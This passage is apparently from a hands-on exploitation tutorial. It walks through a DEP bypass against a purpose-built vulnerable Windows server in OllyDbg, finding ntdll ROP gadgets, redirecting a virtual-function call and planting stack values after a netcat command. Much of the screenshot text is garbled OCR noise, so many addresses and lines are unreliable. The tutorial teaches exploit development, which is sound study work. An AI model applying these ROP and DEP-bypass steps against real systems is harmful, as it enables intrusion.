G| ma e :
AEZBEFSH | BEERE40Z Go to expression Cirl+G

BEZEEFEE| BERREREGE
HEZEEFEC| 28000080
HAZEEFEA| ARZBEF&4 Appearance r
BAZBEFE4 | BRABEE4DZ
CEZEEFSE| BEEEEEET

BEZEEFEC| BBZBFBEE
GAZEEEZAEI FAAraeanGl oseTT orepErr

In the popup window type the new value (address of MOV [EBP+8§],2) for me it was
0x774CC2F3.

Hexadecimal IW
Signed IW
Unzigned IW

(] I Cancel |

Now continue to run the code by pressing F7, until we arrive to the position 0x774CC2F3 (or
alternatively put a breakpoint to address 0x774CC2F3 and press F9).




OllyDbg - hacktivity2013.exe

File WView Debug Options Window Help

Bl x| wn| w4 1 A +f L|E[mM[T|w/H|C|/|K|B|R|..|5]

7]

CPU - main thread, module ntdll =]l

Tr45 BD EEBEEE MO DWORD TR S5 LEBP+E1, 2 :
TraccorA| ~E9 SFBEFBFF | JHP ntdll.Pr48515E  (featsers IFRL
FFACCZFF| 3208 %0R AL, AL L RRRPEEEan :
FraCCEaL|~ED GOESFEFF JAF ntdll. TR4STCEE el
7FaCCaEE| G PUSH EDI B EEEESA
FFACCZET| BA B4 FUSH 4 ESP AOSBEFSE
FFACC2E3| 8045 @C LEA EAX,DWORD PTR S5: [EEF+CI EBP S54F5AGI MSUCRID. printf
7raCcIEc| 58 FUSH EAN ES aoepeass :
Fracczen| en zz PUSH 22 B s
7FACCIEF| 6A FF PUSH -1
;;igggié EEESESBFFFF %EE% EagléﬁiuaueryInFnrmationPrncess __J EIPF ¥P4CC2ZF3 ntdll.7r4CC2F2
FPACCZIE| ~GFE0 9EDSFCFF | JBE ntdll. 77499084 £ 1 E5 pa2s Scbit BAERERREES
FFACCE1E|+E9 C1420108 JMF ntdll. 7F4EGEES h B S Bhss Sobit BIFFFFFFFR
FrdCCaza| FETE FE FUSH DWORD FTR $5:CEEP-S1 =) SR EEES SRobi AR
Frachaze| 58 PUSH_ER: S 1 FS 9a3E 3Zbit TRFOFGEEIH
FPACCEET| SE4E FB MOY ERH, DWORD PTR S5: CEBP-161 20 B REn e
S iECaar| B3 Ap4spien FRE EBELEH§?4EBED oDa
~ nt
Fraccasi| ef:gl70 ec @ace) CHF WORD TR Soi [EEF+CI, GCAAE Tjy0 @ LastErr ERROR_SUCCESS (4
St LrodF 2009 1=BEHSHE 12 EFL o@alezsy (Ho,E,HE,EE, S, FH
STE empty 8.8
STl empty .8
T =t JTE ]

BOCE LF1E| RETURN to hackt ivi.BOSF 1410
ggggigéa H&EEH3d1umaDE B 66 05 GF 6O g?g” —{ 0G2BEFSC| @O2BF3ed|ASCII "OK” =
BESF4REE[ZE OF 41 Gf| 74 79 78 E5| . TAVEype pozBEF4n) Somboosd 12 EEam)

BESF4@1A[ 5F 69 6E 66| 6F 4@ 4@ @8 _infoide, o@lEecEeEREt
PESF4A12|FE 74 FE B2 1 SE GF Fr|wt=g@is: DRZBEF4S| BacErHoS

BESF4823| FE FF FF FF|FF F DRZBEFAC| onanooan

BESF4EZE| FE FF FE FF| @1 DRZEERSS) ooonoon

BESF4AZA e

BESF4E3E[ZE SF 41 B6| &0 ) DRZBEFSS| Bonnooad

BESF4R4n| 5A 48 48 @6 4C 21 OF @a| J

BEEF4E4E| 61 BB GO G020 SHEEA) BaRans

BESF4EE0| B2 12 BF B0 B9 ntdll.774CC2FS

BESF4G5S| 60 AE GO GO 66 SHEEZELE| EdiEas

RESF4Rca| Ba B8 Qa8 @8 &g BEZEEF7A| 7490EE08|ASCII “FET

BESF4RGE| BB BB GO G0 G0

PESF4A7A| B8 A8 AE G0 63 DRZBEFTY| BocEErEd

BESF4ETE| B0 BB PO G0 66 e

Do3F4aca 2o oo oo 24 = BEZEEFEE| 749CBE0G|ASCIT "PE™

PESF4RSE| Bn BB PO G0 66

bk b e i~
BESF4A92| PE AR PO GO OB Fo_ntdll.7P4R4BE]L From
s e SE Bl B BEEEEFEC || F49CEEEE | wehtop . PAICEEER

AESF4GAZ| 60 AE GO 06| 66 SEEI | |

PESF4AER| BR @B AG G0 63 ) B9=EEF 24| | Booaaoas -

7EEEARER| BRGGFARE| ADUAPTEE | |

|.-’-".|:|:ess violation whet writing to [734F20C9] - uze Shift+F 7 /F8/F3 to pazs exception to program

As we can see when we try to run the MOV [EBP+8], 2 instruction we get an access violation. It
happens, because the value in EBP points to the value 0x734F20C1 what is somewhere in the
MSVCRO0.printf function, and this address is not writeable.

Set EBP to a writeable address

Restart the application (because of the ASLR after the restart the address of the stack most
probably will be different). Add a breakpoint to the 0x008F1407 position (this is the address of

MOV EDX,

[ESP+20] here starts the call of the virtual function).

Right click to anywhere in the disassembly window, and from the popup menu select Go to \
Expression
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[E cru - main thread, modul
7

CrheErEd

Backup
Copy
Binary
Aszemble
Label
Comment
Breakpoint
Hit trace
Run trace

e hacktivi

ivi.B83F1FER
¥l.BBSF1815

FTR DS:C8F417E], ERAX
PTR DS:C2F416C], ECH
FTR DS:LSF41c2],EDX
FTR D5:LCSF4164]1, EBX
PTR DS:[2F4166],ESI
PTR DS:[CSF415C1,EDI
TR D3:L[SF415581,55
TR DS:[S8F417C1,CS
TR DS:[2F41521,0%
TR DS:L[SF41541,ES
TR D5:L[SF415681,F3
TR DS:[2F414C1, 565

Follow

EIE DSsLOF41iS0]

Address

BE2F 465
BESF 480
AASF4a]
AE2F4a]
BE2F4E3

Follow in Dump

Previous procedure  Ctrl-+Hinus

BESF 463
ARRF 4R

In the popup window type the address of MOV EDX, [ESP+20] here starts the call of the

View call tree Ctrl+
Mext procedure Ctrl+Plus
Search for » Source file Cirl+F5
i [ A0z 3F BBL
Find references to I . A
View L3 S B823FBC4

virtual function for me it was 0x008F1407 then press OK.

Enter expression to follow | x|

Then right click to this line and from the popup menu select Breakpoint \ Toggle (or simply press

F2)

|DHDDBF140H

=
k. I Eancell
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Bl x| wn| wi+ E4 W + LiE|M[T|WH|C|/[K[E

BaaFiq_a? SDCASA DA MAll_ Ry [Llabn ST ] SS: [ESFI.'.EB]
BASF 1455 » R DS:[EDR]
BBSF 1460 Backup % 551 [ESFH424]

BESF1414 Copy 3

BESF1415 % 55: [ESP+241
BESF1419 Binary ]
BESF141E F14B4
GRS 1428 Assemble Space

BESF 1423 F14B4
BEZF 1425 Label :

BESF 1420

c14B4
SSEFH%E Comment H R 55; [ESP+14]

HESF 1428
EEEE%E@ Hit trace ¥/ Conditional shift+F2 |,
SEEEH:; Run trace r Conditional log Shift+F4
Run to selection F4 .
SaSEld4n Mew origin here Ctrl+Gray = L
Jump from
Go to g Memory, on access
hacktivity  Follow in Dump » Memory, on write
Rddress |H  yiew call tree Cirl +
BESF @80 | 4 j
e Hardware, on execution
BESF461a| 5 Search for | Tl easarerall Schranm

Then press F9 to run the application.
Now connect to the application with netcat:

nc.exe 127.0.0.1 12345

and send the VADD 0,1234 command:

VADD 0,1234

x| Administrator: Command Prompt - nc.exe 127.0.0.1 12345

Civ>ne.exe 127 .8.8.1 12345 g

Commands :

—HELP: no parameters required, type this message

—UADD numl,.numZ2 : set the numl—th element of the array to num2. valid values: nu
mi A..255, numZ2 32 hit integer

—READ num :reads the num—th element of the array valid num values:- B..255

—EXIT: exit from the application

UADD B.1234

Modify the values on the stack like we did previously. Now I had to set the value at 0x0023EE18
(position -1) to  0x0023EE1C (position 0), and the value at 0x0023EE1C (position 0) to
0x774CC2F3 (address of MOV [EBP+8§],2). It is easy to find the position 0, because we set it to the
value 1234
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(Bl x| wn] w4 1] ] o L|E|M|T|W[H|C|/|K[B|R|...|58] =|Z]?]

& cPU - main thread, module hacktivi = (O] =]
T DEGAzd 2@ MO EDR, DUORD PR S5: [ESP1201 i

BEEF 146E|| . SEE2 FOL EAX, DWORD FTR DS:LEDH] + | Beaizters IFPI

geskidan|| - SDaCz4 24p40@|| LER ECK,DUORD PTR e e B e s

gesFiais(| o S04ced 24 LER ECH.DUORD PTR S§:[ESP+241 B Eens el baPrRiBRisy

eesF141s|| . FFDG CALL ER% e (lelleblds

aasF141E|| .vES Sdppammn JHE hacks iui. @06F 1484 EBF ERSSER MSUCRIE. pr intf

posFiaze|| 3 SSFE oo CHE EE B e :

aasF14zz|| -voFas sEeeseaa|| JHz hacktLuL BESF 1 4B

posFlazs|| o SsFF Bz CHE EDI E0 o

Bocri4as|| T EEacza 1400 || oo Eéﬁk'ﬁuﬁﬁénag??ég“msp 143 C PESEAeT Dackriu-ae L
: + ]

ansFi4ze(| o BFEFF4z4 12 || MOUsR EST,W0RD FTR S5: CESP+13] B b (55 HEER sk HiEaaAAs

aosF14se|| - 51 PUSH ECH

el [ o B e [ A @ S5 @622 Zzhit @i FFFFFFFF

oesF1430(| o 82 zazzeFee || PUSH hackt ivi.eesFssed ASCIT "READ =t ¢ |2 9 BE JESE SZbir GLFFEPEEES

gosFiaaz|| . FFOS CALL EEF 2L (5 HEEE smal

gesFiddd|| . oB4dEe 30 HOU ERK,DUORD PTR S5: [ESP4ESI#4+30] " e .
- radlHd = -

BESE 1440 Dodz4 Sooqmed| [ER EDW, DWORD PTR S5: [ESF+456] [ B O LesEsse EUAIRSIEESSS 0

EE?‘:;?EEQEEEE?EEEizggﬁgggig] EFL @esgaza¥ (MHO,E.HE,.EBE,. S, PY

= nt -

Jump from @EGF1S0C i Sk Bk

hackt ivitw2B13. cpp: 123, classmyobi.add value to arravloffset,valusl: T - I

Address | Hex dump ASCII - -

goSraoonldn S of ool og oo oo oo CIA. ... BECSEDRT| PEOCISAC|us2 S2.closesacker

GEZF4EAZ| ZE SF 41 T4 73 7@ 65| .7AUENpe e | e

GESF4a16| 5F 69 GE 66 6F 40 48 Ba@|  infoRe. R | P

gEsF4E1s| A1 CB 40 SE 24 B2 GO| TrM:-d4@. )| e

BotF4oea|FE FF RE FE|FF FE EE PP HEEEEE | R

BESF4E2S| FE FF FF FF|B1 06 B0 06|s  @8... )| e,

BESF4E50| 46 51 SF G0| 68 00 68 08

GEZF4A3Z| ZE SF 41 G660 72 GF 62| .7 e e SEELE

GRSF464E| GR 4B 4@ BE| 40 31 SF Gml g TR 2

ORZF4R4Z| A1 0B BB B8 28 19 G2 66 | S

GESF4E5E| BS 12 B2 00|00 B0 00 08 |3% | B s o

QESF4ESE| G0 0D GF 00|09 00 G0 08| .. .. )| B

GESF4EED| GE DD 0B 0O| 08 08 B8 G@| .. .. ey EEEEEEEn

GESF4GES| G G0 B8 00|60 00 0B 0@ )| e

BESF4E7D| G DD 68 0D| 68 00 BB 0@ el | EREEEEER onnon o

GESF4ETS| G 00 68 00|60 0o 0B 0@ oo SEE o0 Mot cong

GESF4E50| 66 DD GO 0D| 68 00 BB 0@

AREFARER| AR AR GR AR AR GR AR AR GEZSEE48|| 774R4BE1 [ RETURN to ntdlLl.7r4R4BEL from no ]

press the F7 until we reach the CALL EAX instruction.

OllyDbg - hacktivity2013.exe
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[E cru - main thread, module hacktivi =] B
CoerTancI[y GBedzd 20 MOU_EDR, OWORD FTR 55:LESF+28] :
BBSF 1468 MOU ERH,DWORD PTR DS:CEDX] o |Peaisters (FRL
Soariacn|| o GnAree 24p4em LER ECXSDUORD PR S5: [ESP+424] B :
AAZFi414|| o 51 FLSH Eni poezEELS
cociolf [ B04cas 24 LER Ecx DUORD PTR SS:[ESF+241 ey
CALL ntdll. 7P4CCRFS Ebn poonanas
BB 1425 5 SFSE Somoaeen| | e EBXQB' . BBEF 14E4 B2 T .
v ackt ivi.
BEcFl4za|| - EIFF B2 CHF EDI, = S0 (el o
s g [l [P i el REppe SIF ERERIALE heskr oL aRer
" H + i
GacFi436||  @FEFP424 18 || MOUSH EET,WORD PTR S8:[ESF+131 S 4 G fep Sl mprmerRd
SSSF%Q%E . Eé EHEH EE? A8 55 8623 22bit OFFFFFFFR
. o - ? @ DS B@2% Z2hit BiFFFFFFER
BESF 1430 . BB E&ELEEEE PUSH hacktivi.B83F3324 ASCII READ at [ 51 FS AAZE 22bit FFFOEBGELA
BacFidaz(| @ EFOE CALL EEF S0 B i
oockidddlf [ obddee s HOU ERK, DUORD PTR SS:[ESPeEsTaasanl| 103
. radis = .
pacr 144n|| o 2nad4sa condeal] | ER EDH DWORD FTR SS5:[ESF+4ca] [ |00 Lesdsw BRATLENEEISS O
EAN= P ACCER S (ntdll. vrACCeFa) EFL GORBRZEF (MO, E, HE,EE, 5, Fi
STE empty G.8
hacktivitw2Bld. cpp: 1228, classmwobd.add walue to _accayloffset,waluel; Elé EEEEH g'g

As we can see the registers EAX, ECX, EDX, EDI, and ESP points to a value what we can control.
But the EAX is the position where we should jump, and it is not writable. So only ECX, EDX and
ESP good for us. We should find something like:

MOV EBP, ECX
RET

To set the value in EBP to a writeable value.

But there is a problem with this solution, now the ESP points to 0x0023EDF4 what means, ECX



points to the position ESP - 0x24 (position -10) what may not controlled by us. If we overwrite this
position the application may crash, before we can overwrite the position at -1 to control EIP. Or it
can happen the application overwrites somewhen this value.

So try to find another solution. Because ESP points to a bad position try to move it, to a position
where we can control the value. For example try to find something like:

ADD ESP, XX

POP EBP
RET

we can find the following:

77516B%6 83C4 24 ADD ESP, 24
77516BS9 5D POP EBP
77516B9A C3 RETN

Or we can use the next (now the XOR EAX,EAX is no problem, because it is after the CALL EAX
instruction, so we do not care the value of EAX anymore):

7747CD3D 83C4 38 ADD ESP, 38
7747CD40 33CO0 XOR EAX, EAX
77477CD42 S5E POP ESI
77477CD43 5D POP EBP
77477CD44 C2 0800 RETN 8

Let us try how this second one were work, because it moves ESP with larger value.

Another question, how to search for this kind of gadgets. If possible use the ntdll.dll, because the
ZwSetInformationProcess is there, so try to search this sequence of instruction there also, because
we want to depend on the least amount of dll-s.

So first try to find the position of this gadget. Select view \ Executable mudules:

0llyDbyg - hacktivity2013.exe

File Debug Options Window Help

s a g ] =4 nfE]s
| |

Memaory Alt-+HM -
Heap cktivi.003F 1484
P
Threads chktivi.BB2F14E4
. I,2
Windows At i ARAFT 4Rd

In the popup window double click to the ntdd.dll.



[ Executable modules =]

Ease Size Entru Hame File wersion Fath -
HESFOEEE| BEE0FEEH| BASF1AGC| hacktivi C:~Udsers~Admin istrator~Oocuments~Uisual Studio ZEr
734CHEEE | BEEA366E | F34E2046| MSUCRSE | 9,686, 38729, 4148| Cr~Mindows~WinS45~886_microsoft. eS8, crt_1fc8b3b9.
T4ICHEEE | BEEEEEEE | F4IC1564 | wshtopip| 6.8, 6BEE, 16386 | Ci~lindows~System3dz2~wshtcpip.dll

YEEINEEA| BBAIEBEAN | FER91424 | mswsock | 6.8, 6888, 16386 | C:~Windows~systend2~mswsock.dl L

TSCEREEE| BEE0CEEE| FEO0ZBFFE| kerne 32| 6. 0. 6881, 12688 | C:~lindows~system3dz2~kernel32.dL1

FEOCHAEE | AEEZ0EEEA | FEOC1434| WS2_32 .68, 6888, 16386 | Ci~llindowsssystem32~W52_32.dL1
TEEQEEEE | BEEAABEE | FEBAIFAE| mswort T.H8.6882, 12605 | Ci~lindows~swstem3Z~nswort
FEOCHAEE | PEACEEREA | FEERBCCL | ADVARIZZ| 6.8, 6882, 12AR5 | C:~lindows~system32~A0LAF
T rEEEaaE | BEacI60E| ¥F1882EE| RFCRT4 &8, 5881, 12860 | Ci~lindows-system3IZ~RPCRT4.
Tr4caEEa| 8812 7EnE ntdll 6.68.6881, 18880 | C:~lindows~sustem32~ntdll.d
FrE9EEEE | BEEESEEE | PPEI1EEES| MST £.68.6881, 128860 | C:~Windows~swstem32~H5I.dL1

gt

[

Then right click anywhere in the disassembly window, and from the popup menu select Search for
\ Sequence of commands.
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Sl x| »inj w4 4 ] +f v[E[M|T|W/H|C[/|K|B]

[E cru - main thread, module ntdll

rra6larE = -
Fraslag Eackup F FCEE
rra&lag PTR SS5:[EEP+2]
Fraciog  Copy k
rraslEg . =55: [EEF+1A]1,ERX
Fracial Binary F PTR 55:[EBP+16]
rraelal
Fraeiol Assemble Space
rrasliEl Lahel
sl o ' TehkaThgg onProcess
;;ig%gg Comment H )

e .
;332{55 Breakpoint b

=
Fr4gipg  un frace d
Liieins inh +Gray *

L=
L Mew origin here Cirl+Gray
rrdsiEd Go to 3

Follow in Dump »

Hddresel Mame (label) in current module  Cirl+HM I
AEEF4E  Find references to » Mame in all modules
eeriel .
BOSF4a 1 Command Ctrl+F
aecF4ad  Copy to executable r |
Bhcrdnd  Analysis b
BREF 463 Constant
ggg;igj Appearance r Binary string Ctrl+B n
BHESF 485 500
BESF4GES| BO B 0D G0 GO 68 68 G6[...... Next Ctrl+L o
BBSF40es| on 6 6 o5 b5 bo bo ba| L.l
frcFanzal na ma en anlan e oae el Allintermodular calls

In the popup window type the commands we search for (the first line is enough) ADD ESP, 38

Find sequence of commands

ADD ESF, 39

Hint: ‘B’ and 'BE' match B32, '@NY n' matches 0..n commands
[w Entire block Find Cancel




There can be more position where this instruction can be found. If you find not this one, then search
for the next one by pressing CTRL+L. Remember because of the ASLR the address will be different
on your machine, check the last 2 bytes of the address CD3D or watch the code. (if you want put a
breakpoint here)

OllyDbyg - hacktivity2013.exe

File WView Debug Options Window Help

Sl x| wn| v+ ¥4 W +f L|E[mM[T[w/H|C|/|K|B|R|..5]

[E cruU - main thread, module ntdll =] B4

TrarCOo0| BoC4 o8 AO0 ESF,2% = | Reaizters (FPUI

;;j;ggjg EECE" §g§ Eg?-E”X ER IEedBE2Fa ntdl L. Fr4CL2F2
ECH BBZ3EELS

7747C043| ED FOF EEP Ef ARSSEELR

FFAFC044| C2 @eaE RETH 2 I

774rC047| 23cA ®OR EAX, EAR Eoh RASAEDF4

7747C049| ~E9 CAFSFFFF JHP ntdll.7r47C71s EBP TS34FS@C1 MSUCRIE. printf

Fr4viD4E| EFBFCE2 HOUZE EA, 0% ESl mMABRERGE :

7747COS1| E3ES 2@ SUE ERY, 26 ERT ABaas4ns

F747C054 | ~BFS4 CEFZFFFF | JE ntdll.7r47Ce1A o

Tr4FCOSA| S3ER B3 SUB ERX,3 EIF BE3F1419 hackt ivi.B802F14

F747COS0| ~BFS4 ASFZFFFF | JE ntdll. 7r47Co8s : d
C 1 ES 9623 32bit G(FFFFFFF

AR B e |08 RS £ 52 B N AEn

- ntdll.7747EFFF A @ 55 D23 3%bit @IFFFFFFFH

;;j;gggg jg EEE EE§ Z 8 DS BAZ2 22bit @iFFFFFFFY
51 F5 9G3E 27bit rFFOEGBEC

7747C0E0| ~BFS4 SBFZFFFF | JE ntdll.7747EFF3 T 5 G5 BeeR MOLL

A CDvi|~AEGe PAFSFFFE | N nedii.7rarcera i

-~ nt .
7ra7COrr| eoBE FEFEFFFFE | OF DWORD TR So: [EEF-4mS1 ESI [@lE s Satliial pEass

EFL @@a@8z2s7 (MO,E,ME,BE,S,F
5TH empty @.8

Again first manually modify the value in EAX to this address (0x7747CD3D), to see if this method
were work. To do it right click the EAX register and from the popup menu select modify.

ct ion |C0ntaln5
|
Increment Flus
J Decrement Minus
Zero
3
Setto 1
EIF BEB| |
C1 ES
F 1 5| Copyselection to dipboard  Ctrl+C
? S EE Copy all registers to dipboard
?é EE Undo Alt+Bksp  ['®
0Oa
J 08 Lal  Follow in Disassembler et
EFL @Eg _
ST emp Faollow in Dump .
5Tl emD

In the popup window type the new value, the address of ADD ESP,38 (for me it is 0x7747CD3D),
then click to the OK button.

Modify EAX

Hexadecimal

Signed |2EIEI1 194301
Urzighed IEEIEH 134301

Char |w |G [wCD =

Ok I Cancel I




Go back to the CALL EAX instruction, by right click to anywhere in the disassembly window,
and select Go to \ Origin.
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Bl x| w[n] w4 H L A+ LE|M|T|W[E

[3 cru - main thread, module ntdll

Frd7COz

FrdFC04y
rr4vChdg
Frd7C043
G TMICE
rr47C0dy
rra7C049
774 7CO4H
rr4vC0sy
rra47C0Sg
774 7COSH
rr47C0sD
rra7vC06e3
Fr47C0eg
rr47C0el
Fra 706
Fr47C0ed
rr47C0vy
rra47COv
L riMird

22C4 22 AOO _ESF. 22
Backup 3
Copy 3
Bimary g o 1a
Assemble Space
Label 2 1A
Comment 7 BE
Breakpoint  FF
Run trace L4
F2
Mew arigin here Cirl+Gray * -
|
Follow in Dump r Previous  Minus

Then press F7, until arrive to the POP EBP instruction, to see how it works:
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Trdrcosn
TrdrCo4e
7rdrChds

CO43

Fra4vCOdd
Fr4rCody
Fr4rCoda
Fr47CO4E
Fr47COs1
Fr47vCOs4
7r47COEA
Fr47COED
Fr4vChes
Frd47vCOes
7r47COEE
i X u LT
rra4vCoan
rra4vCOvs
rr47COve
Fari YW

26
CAFZFFFF
B3

AZFZFFFF
S4F ZFFFF

BEFZFFFF
iE:
F4FSFFFF

ADD ESP, 22

HOR ERX, ERX

FOP ESI

FOFP EEFP

RETH &

H“OR ERX, EAX

JHMP ntdl L. FP47CF1E
MOUE: ERK, O

SUEB ERH, 28

JE ntdll.7rP47CELA
SUB ERX, 2

JE ntdll.7r47CEEE
SUB ER¥,ESI

JE ntdll.7747EFFF
OEC ERX

DEC ER

JE ntdll.7rd47EFF3
SUE ERX, 3

JHE ntdl L. 7747 CFvE

0 FTR SS; [EEP—-483],ES]

Sl x| wn| w4 4] | =+ L[E[M[T|W]H|Cc|/|K|B|R|..S]

BEZIEESC

ER:-  BEEEEEEE
Ck BEZ3EELS
BEZ3EELC
BEEEAEREZ
BEZ3EEZC
r3d4Fzacl
r4Icaana
[EEaa402

rrd4vCogs
Baza

|

oO—HmraI
EEEE IS
M
o

LastErr

Stack [BBZ3EEZCI=BE23EEGC (BEZIEEGC)
EEP=V34F2BC1 (MSUCR2E8. printf)

EFL 88800245

5TE empty H.8

STl empty O.@
ST ooty [ G

MSUCR9E. pr

ASCII

ntdll.

22bit
22bit
22bit
22bit
azbit
HULL

FRER

FraT

B FFF
B FFF
B FFF
BLFFF
TFFOE

ERROR_SUCCE
(MO, ME,E,BE

Address

Hexn dump

BEZF4EEG
BEZF4EES
BEZF4E1G
BEZF4E12
AEZF4E20
AEZF4E22
BEZF4E36
BEZF4ESE
BEZF4a4E
ABSF4a45
ABSF4E5A
AESF4R5S
AESF4R60
AESF4R6S
BEsF4a70
BESF4E7S
BEZF4E26
BEZF4a08
BEZF4E26

BESF 4892
AREE AROR

e 21 SF GE)
ZE 2F 41 B&| 74

B

EF £9 £E &5 EF
Al CE 40 F2|EE
FF FF FF FF|FF
FE FF FF FF|B1

BAZ3EDFC
BAZ3EERR
BAZ3EER4
BAZ3EERS
BAZ3EEAC
BAZZEELD
BAZZEEL4
BEZIEELR
BAZIEELIC
BAZIEEZA
BAZIEEZ4
AAZIEEZD

BAZIEESR
BAZIEES4
BAZIEESR
BEZZEERC
BEZIEE4E
BAZIEE44
BAZIEE4D
BAZIEE4LC
BAZSEESH

roOC33ac
BEZ3FI5A
BEEEEREA
BEEEERER
AEaaa402
BEEEAEEE6
BEEaEEEC
AEZIEELC
Tr4CC2FS
BEEEERED
HEZIEERS
T4ICEEDA
BE2IEELC
BRAEERER
BREAEAER]
T4ICEEDG
HEZIEEESR
774A4BE1
T4ICEREA
BEEAERRA]
BEEEEREAD
BEZZEERS

Ws2_32.closesocket

ntdll.7r4CC2F2

ASCIT "FE"

ASCII "PE™

RETURH to_ntdll.774A4BEL frar

wshtcpip. F49CAAEE

As we can see the value into EBP will be taken from the address 0x0023EE2C. If you recall the 0



position were at 0x0022EE18. It means the position 4. So until this point we know the following:

position 0 should be the address where we can fix EBP (0x7747CD3D)
position 4 should be an address from the stack (a writeable address). If you check, it is fulfilled by
default so just leave position 4 as it is, do not change.
Position S should be the address of the next gadget, what is the DEP turn off gadget, at address

0x774CC2F3.

Position -1 should be the address of position 0. It fires the control of EIP.

Now manually modify the value at position 0x0023EE30 to the value 0x774CC2F3 (address of
MOV [EBP+8],2) to see in this way how the exploit were work. To do it right click to the address
0x0023EE30 and from the popup menu select Modify.

. ... nd

- | BE23EEZR
b BE2IEE24
BEZIEE22
AAZ3EEZLC

HEZIEES4
BE2ZEESS
BEZ23EESC
BE22IEE4E
BEZ2IEE44
BEZ3EE43
BEZIEE4C
HEZ2IEESA
BE2ZEET4

BEEEEEES
BE2IEERS
T4aCaa0a
ARZ3EEGL
BEREEEEE
BEBEEEE ]
r4oCceana
BRZ3EESS
7r4A4Be1
T49CEa88
AEEEEaaE 1
BEEEEEES
BEZIEERS
BEz2ZEESC

ddress
Show ASCII dump
Show UNICODE dump

Lock stack

Copy to dipboard Ctrl+C
Edit Ctrl+E
Push DWORD

Pop DWORD

Search for address
Search for binary string Ctrl+8

Go to EBP
G0 to expression Ctrl+G

Appearance k

ASCII "FPE™

RETURM tao ntdll.774R4BE1 from n
wshtopip. 7430860686

Press F7 to run the POP EBRP, and RET 8 instructions.

As you can see because of the RET 8 instruction ESP moved to 0x0023EE3C instead of

0x0023EE34 (ie. 0X0023EE34 + 8):
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Bl x| v w4 L Y + L[E|m|T|w]H|c|/|K|B|R|..[S]| i

CPU - main thread, module ntdll =]
C74E G5 BZBEBo0] HOU DWORD FTR _S5: LEBFP+E], 2 Reaizters (FPL)
774CCZFA| ~E9 SFSEFEFF | JMP ntdll.7P48513E T
TPACCEFF| S2CE ROR AL, AL 0 e
TP4CC3E1(~ES EPESFEFF | JIP ntdll TRABTIEE R
TracCame| ST PUSH E ERap o
Tr4cCaar| En B4 FUSH 4. Cage s
Tr4CCzes| 5045 GC LER EAX, DWORD PTR S5:[EBF+C] st
Tr4cCIac| E@ FUSH EAX SR EER o e
Tr4cCae0| en z2 FUSH 22 Ee
TrACC3OF| ER FF FUSH -1
;;igggié EEESESBFFFF EEE% Eadll L Ewiuery Informat ionProcess __J EIF YP4CCZF3 ntdll.7r4CCars
TP4CCE1E|~BFE0 9E0SFCFF | JGE ntdll.7r4999B4 EYOED oS Sopin piEEREEEES
TP4CC3IE(VES C1426168 | JHP ntdll. 7P4EGEE4 DB Bl o ool nOfoEEER
Tr4CCE23| FFPE FB FUSH DWORD FTR £5: [EBF-81 J 8 28 e et oL APErEER
frattocs) =8 FheH En S8 F5 0O3E SZbit FFDEGEGEIH
Tr4CCazT| SE4S FO MOU EAR, DWORD PTR 535: [EBF-181 = £ £5 al =2l
TTatCior|vEs BBdzaton | OHP nedll.sp4Emsne o
w nt
7ra4ccaa]| e&;8l7 |CHE WORD FTR S5: [EBP+E] ACARE Tyo @ LastErr ERROR_SUCCESS (4
Stack S5t [BOZIEE 4 1-DOODHOGE EFL @8888246 (NO,NE,E, BE, M5, §
STE empty 8.8
STl empty 8.8
L= = N Y AT I |
BEZCEEZL| BBZIEEEC
BOSF4DD0| g =1 ot G100 D2 00 CO[O1A . GOZ3EESH| P7ALCDES| nedlL.774CCEFE =
BEEF4605[ZE OF 41 56| 74 79 78 5. PRUtupe e
DESF4G16| EF €9 GE 66 6F 40 40 0B| _infoie e rooaseeeg| oL TR
AR A B ol 2a 23 By 2 ) TR GozoEE4e| | 7r4RdBel| RETURN to_ntdll.774A4B51 from n
| o GEzEE44 | | P49CEREE| wshtop ip. P49CERER
BESF4EIE BB GO 6O 66| Gl8.. ... ErEEEs || st
BESF4B35[ZE OF 41 56| 60 79 &F 62| . 7RUngob e |yonoea
BEEF4646| 6A 40 40 68 jEE.L1A. ZosoEESn|| BRzsEERS
BESF4045( B BB DO BB =5 19 BZ 08| 6. .. (48 pacEee (lanzoeens
BESF4EEE(BE 12 02 60 B8 00 08 60(3%8.....
SRR S S L2 BE D 0l B B oez2EESC| [ 7P48808A) RETURN to ntdll.7P48503A from n

press F7 to follow the code. As you can see there is no problem until the position 0x774D05BC

OliyDbg - hacktivity 2013.exe
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Bl x| wn| w4 ¥4 A +f L|e[mM[T|W/H|c|/|K|B|R|..|S5]

[E cru - main thread, module ntdll

G ]
rr4DBEsCe
T r4DBEsCA
rr4DEsnE
rr40esng
Tr40Esng
Tr40BE0D
Tr40BEsES
Tr40BE5ES
Tr40BEsED
Tr40BEsED
T r40BESED
Tr4DEsFE
Tr40BEsF1
Tr4DBEsFs
Tr40BEEF2
Tr4DBEsFC
Tr40BeEm
FrapEeE2

SEFF 1A B3
~BF35 SE4BFEFF
SE7F 1B B2
~BF35 YB4BFEFF
2340 B2 4@
~E9 FZ24BFEFF
S5 83F8 ZF
~8F24 FZ1VFOFF

22ca
651 33FA B&
BFISCE
458
S2E@ Bs
40

~E3 BETHFFFF
2850 FF
8850 FD

Ced4S FC @@
~EEB @3

O5: [BEERE4ECI=777Y

CHF BYTE FTR DS: CEDI+1AT.E3
JHE ntdll.FrP43514E

CHF BYTE FTR DS EEDI+lB] 52
JHE ntdll.FP485

OF_DWORD FTR SS EEBP+8] 48
JHP ntdll.FP4E514

CHF Ak, 2F

JE rtdll.774A1055

A

ntdll.774CE8E]

EYTE PTR S5:[CEEF-11,BL
EYTE FTR S5S5: [EEF-31,EL
EYTE PTR 55:[EEF-41,8
SHORT ntdll. 774D85EE

EQ _FTE SS:[EEF+14]

= 10| x|
« | Begisters (FPLU
ERx BEEEEEEE
ECX BE23EELS
ED BEZZIEELC
EEx BEEEEEEZ
ESF BEZ3EESC
EEF BEZ3EESC
ESI 749CEEDE ASCII "FE™
EDI ' BEEEE402
-J EIF 7r4085BC ntdll. Fr40B5EC
C B ES 8823 32bit BI(FFFFFFF
F B C5 B8lB 32bit BIFFFFFFF
A B £S5 8823 32bit BIFFFFFFF
c B D05 8823 32bit BIFFFFFFF
5 B FS5 BE3EB 32bit FFFOEGQE(
E S G5 BEEE HULL
00 B LastErr ERROF_SUCCESS [
EFL BE@@azaz (Mo, HE, HE, A, H5,
5TH empty B.8
EIA eMpty B B

Here the application were frozen because the value in EDI is 0x000004D2. But the value in EDI
will not be this. It will be the last number added to the array. In reality it will be the value at position
-1. So to test how it were work modify the value of EDI to the value of position -1 what is
0x0023EE1C now. Right click to the EDI register and from the popup menu select Modify.



=10] x|

a | Fegisters (FFLD

